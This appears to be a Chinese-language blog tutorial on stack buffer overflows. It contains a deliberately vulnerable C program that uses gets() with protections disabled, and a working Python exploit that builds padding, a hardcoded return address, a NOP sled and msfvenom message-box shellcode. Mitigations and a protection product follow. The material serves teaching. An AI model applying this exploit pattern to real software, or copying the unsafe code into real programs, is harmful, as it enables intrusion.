博客 / 詳情

返回

棧溢出漏洞:從原理到實戰利用

棧溢出漏洞:從原理到實戰利用

棧(Stack)是用於存放函數的局部變量、參數、返回地址以及保存的寄存器值的一片內存區域。每次函數調用會在棧上創建一個棧幀。棧的生長方向是從高地址向低地址,但緩衝區內數據的寫入方向是從低地址向高地址,這一特性正是棧溢出利用的根基。

漏洞原理

當程序調用函數時,需要保存返回地址以便被調用函數執行完後能返回到調用點繼續執行。通常返回地址與局部變量、保存的寄存器值一起存放在棧幀中。當代碼編寫不規範時,沒有檢查局部變量緩衝區大小,可能導致用户輸入內容覆蓋到返回地址位置,如果用户輸入精心構造的數據,會把返回地址修改成可被執行的 shellcode 地址,從而劫持程序控制流,引發安全問題。

棧幀的典型佈局如下:

低地址
+------------------+
| 局部變量 |
| buffer[N] |
+------------------+
| 保存的 EBP |
+------------------+
| 返回地址 |
+------------------+
| 函數參數 |
+------------------+
高地址

漏洞復現

漏洞演示代碼

編譯時需要關掉的選項:

  1. ASLR
  2. Security Check(/GS)
  3. DEP
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

__declspec(noinline)
 void vulnerable() {
  char buffer[64]; 
  printf("[+] 緩衝區地址: 0x%p\n", buffer);

  gets(buffer);  

  printf("[+] 輸入內容: %s\n", buffer);
}

int main() {
  printf("=== 棧溢出演示程序 ===\n");
  printf("[+] 按 Ctrl+C 退出\n");
  printf("[+] 輸入超長字符串觸發溢出\n\n");

  while (1) {
    vulnerable();
  }

  return 0;
}

Exploit

if __name__  == '__main__':

    shellcode =  b""
    shellcode += b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52"
    shellcode += b"\x30\x8b\x52\x0c\x89\xe5\x8b\x52\x14\x31\xff\x8b"
    shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"
    shellcode += b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"
    shellcode += b"\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
    shellcode += b"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50"
    shellcode += b"\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x01"
    shellcode += b"\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
    shellcode += b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"
    shellcode += b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
    shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
    shellcode += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"
    shellcode += b"\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00\x00\x75"
    shellcode += b"\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c"
    shellcode += b"\x77\x26\x07\xff\xd5\x6a\x00\xe8\x06\x00\x00\x00"
    shellcode += b"\x50\x77\x6e\x65\x64\x00\xe8\x07\x00\x00\x00\x48"
    shellcode += b"\x61\x63\x6b\x65\x64\x00\x6a\x00\x68\x45\x83\x56"
    shellcode += b"\x07\xff\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5"

    padding = b'\xeb\x46' # jmp +0x48
    padding =  padding + b'A' * (62+4)      # 填充到返回地址位置
    ret_addr = b'\xe4\xee\x19\x00' 

    payload = padding + ret_addr   + b'\x90' * 0x10 + shellcode

    with open('payload.bin', 'wb') as f:
        f.write(payload)

shellcode 生成命令:msfvenom -p windows/messagebox TEXT="Hacked" TITLE="Pwned" -f py -a x86

執行命令:

stackoverflow.exe < payload.bin

效果圖

image-20260103162104784.png

防護機制

ASLR

ASLR(地址空間佈局隨機化)使程序每次運行時棧、堆、動態庫的加載地址隨機化。攻擊者無法預知 shellcode 或關鍵函數的確切地址,導致硬編碼地址的攻擊方式失效。

Stack Canary

Stack Canary 也叫 Security Cookie 或 Stack Guard。編譯器在局部變量與返回地址之間插入一個隨機值(Canary),函數返回前檢查該值是否被篡改。若緩衝區溢出覆蓋了返回地址,必然也會破壞 Canary,檢測到後程序立即終止。

+------------------+
| 返回地址 |
+------------------+
| Canary | ← 被覆蓋會觸發檢測
+------------------+
| 局部變量 |
+------------------+

DEP

DEP / NX(數據執行保護)將棧、堆等數據區域標記為不可執行。即使攻擊者成功將 shellcode 寫入棧上並跳轉過去,CPU 也會拒絕執行並拋出異常。

程序防護方案

在實施棧溢出攻擊前,攻擊者通常需要通過靜態分析(反彙編、反編譯)定位危險函數與緩衝區位置,再通過動態調試確定棧佈局、偏移量和返回地址。因此,阻止逆向分析是防禦棧溢出攻擊的有效手段之一,我們可以通過 Virbox Protector 去進行防護,該工具支持防止靜態分析與防止動態調試。

防止靜態分析:

  • 代碼虛擬化:將核心函數轉換為私有虛擬機指令集,反彙編工具無法還原原始邏輯
  • 代碼混淆:通過控制流平坦化與虛假分支打散執行流程,增加分析複雜度
  • 代碼加密:對代碼段加密存儲,運行時按需解密
  • 導入表保護:隱藏外部庫函數依賴關係,防止攻擊者定位危險函數(如 strcpy、gets)
  • 移除調試信息:清除符號表與函數名稱,增加逆向難度

防止動態調試:

  • 調試器檢測:識別調試器附加行為,檢測到後終止運行或觸發反制
  • 內存校驗:運行時校驗代碼段完整性,防止斷點注入與代碼修改
user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.